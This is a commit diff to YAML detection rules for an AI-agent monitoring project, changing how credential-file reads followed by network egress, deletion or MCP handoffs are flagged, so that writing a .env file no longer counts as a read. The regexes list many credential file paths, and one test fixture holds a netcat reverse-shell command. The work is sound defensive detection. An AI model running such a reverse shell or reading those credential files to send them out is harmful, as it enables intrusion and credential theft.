Skip to content

The cross-harness, self-improving memory layer for AI agents. Join our community: https://discord.com/invite/zdNChS2fBu

rules: stop credential-file writes counting as reads

Claude4f636be5791a
diff --git a/pkg/asymptoteobserve/rulestore/baseline/secret-read-then-egress.rule.yaml b/pkg/asymptoteobserve/rulestore/baseline/secret-read-then-egress.rule.yaml
index 2a809f49..133afb62 100644
--- a/pkg/asymptoteobserve/rulestore/baseline/secret-read-then-egress.rule.yaml
+++ b/pkg/asymptoteobserve/rulestore/baseline/secret-read-then-egress.rule.yaml
@@ -29,7 +29,7 @@ correlation:
e.file.path.matches("(\\.env|credentials|id_rsa|\\.aws/|\\.ssh/|secrets?)")
) || (
e.event.action == "command.executed" &&
- (e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(cat|tac|head|tail|less|more|bat|nl|strings|xxd|od|hexdump|base64|cp|tar|zip)\\b[^;&|\\n]*?[\\s/'\"=](\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)($|[\\s'\";|&)<>])") || e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(grep|egrep|fgrep|rg|awk|sed|jq)\\b[^;&|\\n]*?(\\s['\"]?[^\\s;&|'\"]*/(\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)($|[\\s'\";|&)<>])|\\s(\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)\\s*($|[;&|)]))"))
+ (e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(cat|tac|head|tail|less|more|bat|nl|strings|xxd|od|hexdump|base64|tar|zip)\\b[^;&|>\\n]*?[\\s/'\"=](\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)($|[\\s'\";|&)<>])") || e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?cp\\b[^;&|>\\n]*?[\\s/'\"=](\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)['\"]?\\s+[^\\s;&|<>]") || e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(grep|egrep|fgrep|rg|awk|sed|jq)\\b[^;&|>\\n]*?(\\s['\"]?[^\\s;&|'\"]*/(\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)($|[\\s'\";|&)<>])|\\s(\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)\\s*($|[;&|)]))")) && !e.command.command.matches("(?i)^\\s*cp\\s+(-\\S+\\s+)*['\"]?[^\\s;&|'\"]*\\.env\\.(example|sample|template|dist)['\"]?\\s+['\"]?[^\\s;&|'\"]*\\.env['\"]?\\s*$")
)
- id: egress
match: >
@@ -279,3 +279,15 @@ tests:
event: { action: command.executed }
command: { command: "exec nc -e /bin/sh host 4444" }
session: { id: s1 }
+ - name: dotenv_heredoc_write_then_curl
+ # Project setup writes .env, then fetches an install script: nothing was read.
+ verdict: no_match
+ events:
+ - timestamp: "2026-06-13T10:00:00Z"
+ event: { action: command.executed }
+ command: { command: "cat > .env <<'EOF'\nPORT=3000\nEOF" }
+ session: { id: s1 }
+ - timestamp: "2026-06-13T10:00:10Z"
+ event: { action: command.executed }
+ command: { command: "curl -fsSL https://example.com/install.sh -o install.sh" }
+ session: { id: s1 }
diff --git a/rules/context-exfiltration/secret-read-then-destructive.rule.yaml b/rules/context-exfiltration/secret-read-then-destructive.rule.yaml
index f0209d63..7cdc3547 100644
--- a/rules/context-exfiltration/secret-read-then-destructive.rule.yaml
+++ b/rules/context-exfiltration/secret-read-then-destructive.rule.yaml
@@ -55,7 +55,7 @@ correlation:
)
) || (
e.event.action == "command.executed" &&
- (e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(cat|tac|head|tail|less|more|bat|nl|strings|xxd|od|hexdump|base64|cp|tar|zip)\\b[^;&|\\n]*?[\\s/'\"=](\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)($|[\\s'\";|&)<>])") || e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(grep|egrep|fgrep|rg|awk|sed|jq)\\b[^;&|\\n]*?(\\s['\"]?[^\\s;&|'\"]*/(\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)($|[\\s'\";|&)<>])|\\s(\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)\\s*($|[;&|)]))"))
+ (e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(cat|tac|head|tail|less|more|bat|nl|strings|xxd|od|hexdump|base64|tar|zip)\\b[^;&|>\\n]*?[\\s/'\"=](\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)($|[\\s'\";|&)<>])") || e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?cp\\b[^;&|>\\n]*?[\\s/'\"=](\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)['\"]?\\s+[^\\s;&|<>]") || e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(grep|egrep|fgrep|rg|awk|sed|jq)\\b[^;&|>\\n]*?(\\s['\"]?[^\\s;&|'\"]*/(\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)($|[\\s'\";|&)<>])|\\s(\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)\\s*($|[;&|)]))")) && !e.command.command.matches("(?i)^\\s*cp\\s+(-\\S+\\s+)*['\"]?[^\\s;&|'\"]*\\.env\\.(example|sample|template|dist)['\"]?\\s+['\"]?[^\\s;&|'\"]*\\.env['\"]?\\s*$")
)
- id: recursive_delete
match: >
diff --git a/rules/context-exfiltration/secret-read-then-egress.rule.yaml b/rules/context-exfiltration/secret-read-then-egress.rule.yaml
index 2a809f49..133afb62 100644
--- a/rules/context-exfiltration/secret-read-then-egress.rule.yaml
+++ b/rules/context-exfiltration/secret-read-then-egress.rule.yaml
@@ -29,7 +29,7 @@ correlation:
e.file.path.matches("(\\.env|credentials|id_rsa|\\.aws/|\\.ssh/|secrets?)")
) || (
e.event.action == "command.executed" &&
- (e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(cat|tac|head|tail|less|more|bat|nl|strings|xxd|od|hexdump|base64|cp|tar|zip)\\b[^;&|\\n]*?[\\s/'\"=](\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)($|[\\s'\";|&)<>])") || e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(grep|egrep|fgrep|rg|awk|sed|jq)\\b[^;&|\\n]*?(\\s['\"]?[^\\s;&|'\"]*/(\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)($|[\\s'\";|&)<>])|\\s(\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)\\s*($|[;&|)]))"))
+ (e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(cat|tac|head|tail|less|more|bat|nl|strings|xxd|od|hexdump|base64|tar|zip)\\b[^;&|>\\n]*?[\\s/'\"=](\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)($|[\\s'\";|&)<>])") || e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?cp\\b[^;&|>\\n]*?[\\s/'\"=](\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)['\"]?\\s+[^\\s;&|<>]") || e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(grep|egrep|fgrep|rg|awk|sed|jq)\\b[^;&|>\\n]*?(\\s['\"]?[^\\s;&|'\"]*/(\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)($|[\\s'\";|&)<>])|\\s(\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)\\s*($|[;&|)]))")) && !e.command.command.matches("(?i)^\\s*cp\\s+(-\\S+\\s+)*['\"]?[^\\s;&|'\"]*\\.env\\.(example|sample|template|dist)['\"]?\\s+['\"]?[^\\s;&|'\"]*\\.env['\"]?\\s*$")
)
- id: egress
match: >
@@ -279,3 +279,15 @@ tests:
event: { action: command.executed }
command: { command: "exec nc -e /bin/sh host 4444" }
session: { id: s1 }
+ - name: dotenv_heredoc_write_then_curl
+ # Project setup writes .env, then fetches an install script: nothing was read.
+ verdict: no_match
+ events:
+ - timestamp: "2026-06-13T10:00:00Z"
+ event: { action: command.executed }
+ command: { command: "cat > .env <<'EOF'\nPORT=3000\nEOF" }
+ session: { id: s1 }
+ - timestamp: "2026-06-13T10:00:10Z"
+ event: { action: command.executed }
+ command: { command: "curl -fsSL https://example.com/install.sh -o install.sh" }
+ session: { id: s1 }
diff --git a/rules/context-exfiltration/secret-read-then-external-mcp.rule.yaml b/rules/context-exfiltration/secret-read-then-external-mcp.rule.yaml
index fa198a45..d4f175c2 100644
--- a/rules/context-exfiltration/secret-read-then-external-mcp.rule.yaml
+++ b/rules/context-exfiltration/secret-read-then-external-mcp.rule.yaml
@@ -31,7 +31,7 @@ correlation:
)
) || (
e.event.action == "command.executed" &&
- (e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(cat|tac|head|tail|less|more|bat|nl|strings|xxd|od|hexdump|base64|cp|tar|zip)\\b[^;&|\\n]*?[\\s/'\"=](\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)($|[\\s'\";|&)<>])") || e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(grep|egrep|fgrep|rg|awk|sed|jq)\\b[^;&|\\n]*?(\\s['\"]?[^\\s;&|'\"]*/(\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)($|[\\s'\";|&)<>])|\\s(\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)\\s*($|[;&|)]))"))
+ (e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(cat|tac|head|tail|less|more|bat|nl|strings|xxd|od|hexdump|base64|tar|zip)\\b[^;&|>\\n]*?[\\s/'\"=](\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)($|[\\s'\";|&)<>])") || e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?cp\\b[^;&|>\\n]*?[\\s/'\"=](\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)['\"]?\\s+[^\\s;&|<>]") || e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(grep|egrep|fgrep|rg|awk|sed|jq)\\b[^;&|>\\n]*?(\\s['\"]?[^\\s;&|'\"]*/(\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)($|[\\s'\";|&)<>])|\\s(\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)\\s*($|[;&|)]))")) && !e.command.command.matches("(?i)^\\s*cp\\s+(-\\S+\\s+)*['\"]?[^\\s;&|'\"]*\\.env\\.(example|sample|template|dist)['\"]?\\s+['\"]?[^\\s;&|'\"]*\\.env['\"]?\\s*$")
)
- id: external_mcp
match: >
diff --git a/rules/context-exfiltration/secret-read-then-mcp-tool-handoff.rule.yaml b/rules/context-exfiltration/secret-read-then-mcp-tool-handoff.rule.yaml
index e98ccb42..3a79a553 100644
--- a/rules/context-exfiltration/secret-read-then-mcp-tool-handoff.rule.yaml
+++ b/rules/context-exfiltration/secret-read-then-mcp-tool-handoff.rule.yaml
@@ -45,7 +45,7 @@ correlation:
)
) || (
e.event.action == "command.executed" &&
- (e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(cat|tac|head|tail|less|more|bat|nl|strings|xxd|od|hexdump|base64|cp|tar|zip)\\b[^;&|\\n]*?[\\s/'\"=](\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)($|[\\s'\";|&)<>])") || e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(grep|egrep|fgrep|rg|awk|sed|jq)\\b[^;&|\\n]*?(\\s['\"]?[^\\s;&|'\"]*/(\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)($|[\\s'\";|&)<>])|\\s(\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)\\s*($|[;&|)]))"))
+ (e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(cat|tac|head|tail|less|more|bat|nl|strings|xxd|od|hexdump|base64|tar|zip)\\b[^;&|>\\n]*?[\\s/'\"=](\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)($|[\\s'\";|&)<>])") || e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?cp\\b[^;&|>\\n]*?[\\s/'\"=](\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)['\"]?\\s+[^\\s;&|<>]") || e.command.command.matches("(?i)(^|[;&|(`]|\\$\\()\\s*(sudo\\s+)?(grep|egrep|fgrep|rg|awk|sed|jq)\\b[^;&|>\\n]*?(\\s['\"]?[^\\s;&|'\"]*/(\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)($|[\\s'\";|&)<>])|\\s(\\.env(\\.[\\w.-]+)?|\\.aws/credentials|id_(rsa|ed25519|ecdsa|dsa)|\\.git-credentials|\\.netrc|\\.pgpass|credentials(\\.json|\\.toml)?|\\.npmrc|\\.pypirc|\\.docker/config\\.json|\\.config/gh/hosts\\.yml|application_default_credentials\\.json|\\.config/gcloud/(credentials|access_tokens)\\.db|\\.azure/(msal_token_cache|accesstokens)\\.json|[\\w.-]*\\.tfstate(\\.backup)?|\\.terraform\\.d/credentials\\.tfrc\\.json)\\s*($|[;&|)]))")) && !e.command.command.matches("(?i)^\\s*cp\\s+(-\\S+\\s+)*['\"]?[^\\s;&|'\"]*\\.env\\.(example|sample|template|dist)['\"]?\\s+['\"]?[^\\s;&|'\"]*\\.env['\"]?\\s*$")
)
- id: mcp_handoff
match: >
diff --git a/rules/credential-access/credential-file-read.rule.yaml b/rules/credential-access/credential-file-read.rule.yaml
index 7f9ba495..7f1e56dd 100644
--- a/rules/credential-access/credential-file-read.rule.yaml
+++ b/rules/credential-access/credential-file-read.rule.yaml
@@ -39,7 +39,7 @@ match: >
)
) || (
e.event.action == "command.executed" &&
